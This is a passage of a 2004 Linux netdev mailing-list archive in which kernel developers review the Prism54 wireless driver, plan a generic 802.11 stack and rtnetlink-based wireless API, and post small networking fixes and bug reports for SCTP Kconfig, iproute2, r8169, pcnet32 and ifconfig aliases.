<404F5097.4040406@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5097.4040406@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3913 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 2481 Lines: 68 On Wed, Mar 10, 2004 at 12:29:59PM -0500, Jeff Garzik wrote: > Jean Tourrilhes wrote: > >On Wed, Mar 10, 2004 at 04:55:48PM +0000, Christoph Hellwig wrote: > >>+MODULE_PARM(init_mode, "i"); > >>+MODULE_PARM_DESC(init_mode, > >>+ "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client > >>(Default)\n3: Master / Access Point\n4: Repeater (Not supported yet)\n5: > >>Secondary (Not supported yet)\n6: Monitor"); > >> > >> Please use module_param > > > > > > I would even say that this is useless because the driver > >support WE, and WE scripts set the mode before the card is up. > > module_param() is a type-safe interface roughly identical to > MODULE_PARM(). Therefore, if MODULE_PARM() works, module_param() works > also. Yes, I know, I've been doing that for IrDA. What I meant was that this specific module parameter could be remove entirely because redundant. > >>diff -Naur -X /home/mcgrof/lib/dontdiff > >>linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c > >>linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c > >>--- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 > >>00:00:00 1970 > >>+++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu > >>Mar 4 02:00:01 2004 > >> > >> WDS doesn't belong into a driver but in higher-level code. > > > > > > The big 802.11 reorg can only happen when HostAP is in the > >kernel. > > ISTR it needed some cleaning up before it could go in. I think it would be nice to give some more explicit feedback to Jouni. > Further, in Linux, there is _never_ a requirement that "this driver be > included before we can clean up." You can start the re-org any time you > wish. Out-of-tree maintainers can follow the re-org, sometimes more easily. You misunderstood. The HostAP driver has a pretty much complete generic 802.11 stack. However, other driver can't depend on that code until it's in the kernel. By "big 802.11 reorg", I meant "make the other driver depend on HostAP 802.11 code". Of course, I'm quite partial to the HostAP code because I'm more familiar with it and I believe it's the most advanced (host WEP, 802.1x, WPA, AP...). Other candidated are linux-wlan-ng or the *BSD stack (by the way of the MadWifi driver). > Jeff > > > > P.S. I still need to look at your netlink thing. Seems like a decent > direction. Thanks ;-) I would need to make sure that there is no popular driver still using the old driver API (orinoco_cs is converted in the CVS). Jean From jgarzik@pobox.com Wed Mar 10 09:58:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:58:44 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHwfKO001917 for ; Wed, 10 Mar 2004 09:58:42 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36341 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B17ya-0005cr-Cx; Wed, 10 Mar 2004 17:58:40 +0000 Message-ID: <404F5744.1040201@pobox.com> Date: Wed, 10 Mar 2004 12:58:28 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> In-Reply-To: <20040310175200.GA9531@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3914 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1170 Lines: 34 Jean Tourrilhes wrote: > You misunderstood. The HostAP driver has a pretty much > complete generic 802.11 stack. However, other driver can't depend on > that code until it's in the kernel. > By "big 802.11 reorg", I meant "make the other driver depend > on HostAP 802.11 code". > Of course, I'm quite partial to the HostAP code because I'm > more familiar with it and I believe it's the most advanced (host WEP, > 802.1x, WPA, AP...). Other candidated are linux-wlan-ng or the *BSD > stack (by the way of the MadWifi driver). Ah! I did indeed misunderstand. Yes, it would be good to end the cycle of re-implementing 802.11 over and over again ;-) So here is my suggested plan: * I merge prism54 upstream * I create wireless-2.6 queue * somebody (you, Jouni(sp?)) submits HostAP to me * I merge HostAP * submit rtnetlink patches to me * start working on generic 802.11 stack in wireless-2.6 queue * at the same time, migrate away from iw_handler to "wireless_ops" (i.e. something like ethtool_ops) * once things have stabilized again, merge upstream I'm not sure about the order of the last few steps, you know better than I what dependencies exist. Jeff From jt@bougret.hpl.hp.com Wed Mar 10 10:06:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 10:06:08 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AI64KO002401 for ; Wed, 10 Mar 2004 10:06:05 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 6B64E1C01CCF; Wed, 10 Mar 2004 10:06:02 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id KAA25706; Wed, 10 Mar 2004 10:06:02 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B185i-0002Z9-00; Wed, 10 Mar 2004 10:06:02 -0800 Date: Wed, 10 Mar 2004 10:06:02 -0800 To: Jeff Garzik Cc: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list Message-ID: <20040310180602.GB9531@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40469DA1.9090502@pobox.com> <20040305040352.GA16669@bougret.hpl.hp.com> <404F5461.80000@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5461.80000@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3915 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 2056 Lines: 54 On Wed, Mar 10, 2004 at 12:46:09PM -0500, Jeff Garzik wrote: > Jean Tourrilhes wrote: > >+static inline int rtnetlink_standard_call(struct net_device * dev, > >+ struct iw_event * request, > >+ int request_len, > >+ iw_handler handler) > >+{ > >+ const struct iw_ioctl_description * descr = NULL; > >+ unsigned int cmd; > >+ union iwreq_data * wrqu; > >+ int hdr_len; > >+ struct iw_request_info info; > >+ int ret = -EINVAL; > >+ > >+ /* Get the description of the IOCTL */ > >+ cmd = request->cmd; > >+ if((cmd - SIOCIWFIRST) >= standard_ioctl_num) > >+ return -EOPNOTSUPP; > >+ descr = &(standard_ioctl[cmd - SIOCIWFIRST]); > > > OK, this patch looks good to me. Thanks. I'll try to work on the missing parts. > There is one piece we need to change though, that will cause the size of > this patch to increase a bit. > > Look at ethtool_ops, and net/core/ethtool.c, in the current upstream 2.4 > and 2.6 trees. > > A key goal of mine is to completely eliminate the union and the > iw_handler type. To increase type-safety, and to decrease the pain of > going through 32<->64-bit translation layers, each wireless hook needs > to have a specific (not generic) interface (a la ethtool_ops). The current API is already completely 32<->64-bit safe. Wireless Tools have been used on Alpha since the end of the 90's. The code to support 32 bit user space on 64 bit kernel was trivial and concern only a single pointer, and such pointer would not exist when using RtNetlink. So, I claim that when using RtNetlink, the API would be entirely 32<->64-bit safe. You point about type safety is perfectly valid. I believe that this is a tradeoff. The design reason to have a single type of handler, apart from the space saving, was to allow a driver to hook a common handler to multiple commands. I've used that in a few cases, because it made the driver code simpler. So far, we never had any problem with regards to type safety. Maybe it's because wireless driver authors are very clever ;-) > Jeff Jean From jgarzik@pobox.com Wed Mar 10 10:07:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 10:07:34 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AI7UKO002717 for ; Wed, 10 Mar 2004 10:07:31 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36346 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1877-00060p-Gn; Wed, 10 Mar 2004 18:07:29 +0000 Message-ID: <404F5955.6040702@pobox.com> Date: Wed, 10 Mar 2004 13:07:17 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> In-Reply-To: <20040310172114.GA8867@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3916 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1178 Lines: 35 Jean Tourrilhes wrote: > On Wed, Mar 10, 2004 at 04:55:48PM +0000, Christoph Hellwig wrote: > >>On Wed, Mar 03, 2004 at 06:35:24PM -0800, Jean Tourrilhes wrote: >> >>> Hi Dave & Jeff, >>> >>> The attached .bz2 file is a patch for 2.6.3 adding the >>>Intersil Prism54 wireless driver. Sorry for the attachement, the file >>>is rather big, if you want inline+plaintext, I'll send that personal >>>to you. >>> I've been using this driver with great success on 2.6.3 and >>>2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI >>>802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette >>>chipset. >>> I would like this driver to go into 2.6.X. However, I >>>understand that it's lot's of code to review. >> >>Here's a few things I found. > > > I'm forwarding to prism54-devel where the real developpers can > answer your questions. since I'm not on the this list, I am getting a bunch of "your message for prism54-devel awaits moderator approval" responses. Maybe the prism54 and hostAP developers could join us on netdev? It would be nice to have everybody in one place, if we're all gonna be collaborating on a generic 802.11 stack. Jeff From sri@us.ibm.com Wed Mar 10 10:18:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 10:18:15 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AII6KO003378 for ; Wed, 10 Mar 2004 10:18:06 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2AIGeAB703776; Wed, 10 Mar 2004 13:16:40 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2AIGel9095830; Wed, 10 Mar 2004 13:16:41 -0500 Date: Wed, 10 Mar 2004 10:16:27 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Roman Zippel cc: kaos@ocs.com.au, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Cleaner way to conditionally disallow a CONFIG option as static In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3917 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 753 Lines: 35 On Wed, 10 Mar 2004, Roman Zippel wrote: > Hi, > > On Mon, 8 Mar 2004, Sridhar Samudrala wrote: > > > In 2.6, net/sctp/Kconfig > > > > config IPV6_SCTP__ > > tristate > > default y if IPV6=n > > default IPV6 if IPV6 > > > > config IP_SCTP > > tristate "The SCTP Protocol (EXPERIMENTAL)" > > depends on IPV6_SCTP__ > > This can be written as: > > config IP_SCTP > tristate "The SCTP Protocol (EXPERIMENTAL)" > depends on IPV6 || IPV6=n > Thanks. Your 2.6 solution helped me come up with the following solution for 2.4 too and avoid the hack. if [ "$CONFIG_IPV6" = "n" ]; then tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP else dep_tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP $CONFIG_IPV6 fi Thanks -Sridhar From jgarzik@pobox.com Wed Mar 10 10:26:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 10:26:06 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AIQ1KO003915 for ; Wed, 10 Mar 2004 10:26:01 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36351 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B18P2-0006dF-4s; Wed, 10 Mar 2004 18:26:00 +0000 Message-ID: <404F5DAC.4020807@pobox.com> Date: Wed, 10 Mar 2004 13:25:48 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list References: <40469DA1.9090502@pobox.com> <20040305040352.GA16669@bougret.hpl.hp.com> <404F5461.80000@pobox.com> <20040310180602.GB9531@bougret.hpl.hp.com> In-Reply-To: <20040310180602.GB9531@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3918 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1369 Lines: 32 Jean Tourrilhes wrote: > The current API is already completely 32<->64-bit > safe. Wireless Tools have been used on Alpha since the end of the > 90's. The code to support 32 bit user space on 64 bit kernel was > trivial and concern only a single pointer, and such pointer would not > exist when using RtNetlink. So, I claim that when using RtNetlink, the > API would be entirely 32<->64-bit safe. Yes, I agree. > You point about type safety is perfectly valid. > I believe that this is a tradeoff. The design reason to have a > single type of handler, apart from the space saving, was to allow a > driver to hook a common handler to multiple commands. I've used that > in a few cases, because it made the driver code simpler. > So far, we never had any problem with regards to type > safety. Maybe it's because wireless driver authors are very clever ;-) A type-specific wireless_ops is something that I definitely want to see. It reduces code in the drivers, by increasing the amount of code that can be made generic. It's much better to, for example, have all the user data (length, etc.) validate checks, and capable(CAP_xxx) security checks all in one place. And perhaps more importantly, a type-specific wireless_ops makes it harder for driver writers to screw up ;-) That's an important attribute in a driver API, I've come to learn... Jeff From vda@port.imtp.ilyichevsk.odessa.ua Wed Mar 10 11:42:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 11:42:58 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AJgfKO007001 for ; Wed, 10 Mar 2004 11:42:44 -0800 Received: (qmail 14353 invoked by alias); 10 Mar 2004 19:37:44 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 10 Mar 2004 19:37:44 -0000 From: Denis Vlasenko To: Andi Kleen , Arkadiusz Miskiewicz Subject: Re: ip a flush problem on 2.6 kernels (fine on 2.4 kernels) Date: Wed, 10 Mar 2004 21:37:40 +0200 User-Agent: KMail/1.5.4 Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <200403040308.15880.arekm@pld-linux.org> <20040304141319.2d1cb112.ak@suse.de> In-Reply-To: <20040304141319.2d1cb112.ak@suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403102137.40073.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 3919 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 651 Lines: 21 On Thursday 04 March 2004 15:13, Andi Kleen wrote: > On Thu, 4 Mar 2004 03:08:15 +0100 > > Arkadiusz Miskiewicz wrote: > > The problem is that > > > > ip a a 192.168.0.1/24 dev eth0 > > ip link set eth0 down > > ip a flush dev eth0 > > > > Here on my vanilla 2.6.2 it locks eating CPU - it does netlink > > communication over and over. This ,,hang'' doesn't happen when > > interface is in UP state. Also doesn't happen on 2.4 kernels. > > I fixed it with this patch for iproute2 here. It's not clear to me at > all how it ever worked before. The loop seems to be just wrong. Does iproute2 have a homepage again? Where? -- vda From romieu@fr.zoreil.com Wed Mar 10 12:56:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 12:56:58 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AKuqKO011939 for ; Wed, 10 Mar 2004 12:56:53 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2AKuLgf000442; Wed, 10 Mar 2004 21:56:21 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2AKuKuF000441; Wed, 10 Mar 2004 21:56:20 +0100 Date: Wed, 10 Mar 2004 21:56:20 +0100 From: Francois Romieu To: Marco Sinhoreli Cc: netdev@oss.sgi.com Subject: Re: r8169 patch kernel 2.4.25 Message-ID: <20040310215620.A31831@electric-eye.fr.zoreil.com> References: <20040308231303.C936@electric-eye.fr.zoreil.com> <404CF41C.2060807@netsite.com.br> <20040308235558.D936@electric-eye.fr.zoreil.com> <404D0363.9030407@netsite.com.br> <20040309010841.F936@electric-eye.fr.zoreil.com> <404D12C3.4000702@netsite.com.br> <20040309090747.A9256@electric-eye.fr.zoreil.com> <404DDB88.2080000@netsite.com.br> <20040310011358.A16937@electric-eye.fr.zoreil.com> <1078927570.1812.6.camel@territory> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1078927570.1812.6.camel@territory>; from msinhore@netsite.com.br on Wed, Mar 10, 2004 at 11:06:10AM -0300 X-Organisation: Land of Sunshine Inc. X-archive-position: 3920 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 571 Lines: 17 Marco Sinhoreli : [...] > I will be waiting the code of backport to drive r8169 for I test with > the rsync. Try that: http://www.fr.zoreil.com/linux/kernel/2.4.x/2.4.26-pre2/r8169-mammoth-attack.patch It should turn your 2.4.26-pre2 into a decently up-to-date/patched 2.6.x r8169 driver (it does not include the misbehaving addr-high code). Please keep netdev Cced an provide a summary of your experiences. For the curious, the parts of the patch are in the same directory (not really different from the 2.6.x version actually). -- Ueimor From brazilnut@us.ibm.com Wed Mar 10 13:09:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 13:09:50 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AL9dKO012527 for ; Wed, 10 Mar 2004 13:09:46 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2AL9TG9824664; Wed, 10 Mar 2004 16:09:30 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2AL9RHg115158; Wed, 10 Mar 2004 16:09:28 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i2AL8Is04491; Wed, 10 Mar 2004 13:08:18 -0800 From: Don Fry Message-Id: <200403102108.i2AL8Is04491@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc3] pcnet32.c oops To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 10 Mar 2004 13:08:17 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3921 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 581 Lines: 22 Please apply the following fix to 2.6.3-rc4. When adding an additional device, a variable which has been removed is accessed. Adding the first device or a 4-port card works. Adding a second device was not done in PCI hot plug testing. Now tested on IA32. --- linux-2.6.4-rc3/drivers/net/orig.pcnet32.c Wed Mar 10 08:55:40 2004 +++ linux-2.6.4-rc3/drivers/net/pcnet32.c Wed Mar 10 11:35:41 2004 @@ -69,7 +69,7 @@ MODULE_DEVICE_TABLE (pci, pcnet32_pci_tbl); -int cards_found __initdata; +static int cards_found; /* * VLB I/O addresses -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Wed Mar 10 13:14:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 13:14:03 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ALE0KO012891 for ; Wed, 10 Mar 2004 13:14:00 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2ALDm0Y701280; Wed, 10 Mar 2004 16:13:48 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2ALDkar124400; Wed, 10 Mar 2004 14:13:47 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i2ALCaX04547; Wed, 10 Mar 2004 13:12:36 -0800 From: Don Fry Message-Id: <200403102112.i2ALCaX04547@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.26-pre2] pcnet32.c oops To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 10 Mar 2004 13:12:36 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3922 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 583 Lines: 21 Please apply the following fix to 2.4.26-pre2. When adding an additional device, a variable which has been removed is accessed. Adding the first device or a 4-port card works. Adding a second device was not done in PCI hot plug testing. --- linux-2.4.26-pre2/drivers/net/orig.pcnet32.c Mon Mar 8 08:59:18 2004 +++ linux-2.4.26-pre2/drivers/net/pcnet32.c Wed Mar 10 13:09:19 2004 @@ -72,7 +72,7 @@ MODULE_DEVICE_TABLE (pci, pcnet32_pci_tbl); -int cards_found __initdata; +static int cards_found __devinitdata; /* * VLB I/O addresses -- Don Fry brazilnut@us.ibm.com From agriffis@kaf.zk3.dec.com Wed Mar 10 13:21:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 13:21:43 -0800 (PST) Received: from zmamail04.zma.compaq.com (zmamail04.zma.compaq.com [161.114.64.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ALLdKO013366 for ; Wed, 10 Mar 2004 13:21:41 -0800 Received: from mailrelay01.cce.cpqcorp.net (mailrelay01.cce.cpqcorp.net [16.47.68.171]) by zmamail04.zma.compaq.com (Postfix) with ESMTP id 860E112F46 for ; Wed, 10 Mar 2004 16:21:38 -0500 (EST) Received: from yquarry.zk3.dec.com (brrquarry.zk3.dec.com [16.141.56.3]) by mailrelay01.cce.cpqcorp.net (Postfix) with ESMTP id D1A644A42 for ; Wed, 10 Mar 2004 15:21:34 -0600 (CST) Received: from oflume.zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id QAA10848; Wed, 10 Mar 2004 16:21:34 -0500 (EST) Received: from kaf.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id QAA03694; Wed, 10 Mar 2004 16:21:33 -0500 (EST) Received: by kaf.zk3.dec.com (Postfix, from userid 10208) id 7EF2EA6E89; Wed, 10 Mar 2004 16:21:33 -0500 (EST) X-IMAP-Sender: agriffis Date: Wed, 10 Mar 2004 16:20:56 -0500 X-OfflineIMAP-x1544714087-6b6166-494e424f582e4f7574626f78: 1078953693-0965757787845 From: Aron Griffis To: netdev@oss.sgi.com Subject: ifconfig bug removes aliases Message-ID: <20040310212056.GA5661@time.flatmonk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i X-archive-position: 3923 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: aron@hp.com Precedence: bulk X-list: netdev Content-Length: 326 Lines: 11 Hello, here is the sequence: ifconfig eth0:1 10.10.10.1 netmask 255.255.0.0 ifconfig eth0:2 10.10.10.2 netmask 255.255.0.0 ifconfig eth0:1 down At this point eth0:2 has disappeared also. It appears that the aliases must be on the same subnet for this to occur, and the creation order is also important. Aron From mcgrof@studorgs.rutgers.edu Wed Mar 10 14:17:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 14:17:24 -0800 (PST) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AMHJKO015286 for ; Wed, 10 Mar 2004 14:17:19 -0800 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id B7735F9D33; Wed, 10 Mar 2004 17:17:16 -0500 (EST) Date: Wed, 10 Mar 2004 17:17:16 -0500 To: jt@hpl.hp.com Cc: Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [Prism54-devel] Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310221716.GD26496@ruslug.rutgers.edu> Mail-Followup-To: jt@hpl.hp.com, Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="/04w6evG8XlLl3ft" Content-Disposition: inline In-Reply-To: <20040310172114.GA8867@bougret.hpl.hp.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 3924 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev Content-Length: 4769 Lines: 159 --/04w6evG8XlLl3ft Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 10, 2004 at 09:21:14AM -0800, Jean Tourrilhes wrote: > On Wed, Mar 10, 2004 at 04:55:48PM +0000, Christoph Hellwig wrote: > > On Wed, Mar 03, 2004 at 06:35:24PM -0800, Jean Tourrilhes wrote: > > > Hi Dave & Jeff, > > >=20 > > > The attached .bz2 file is a patch for 2.6.3 adding the > > > Intersil Prism54 wireless driver. Sorry 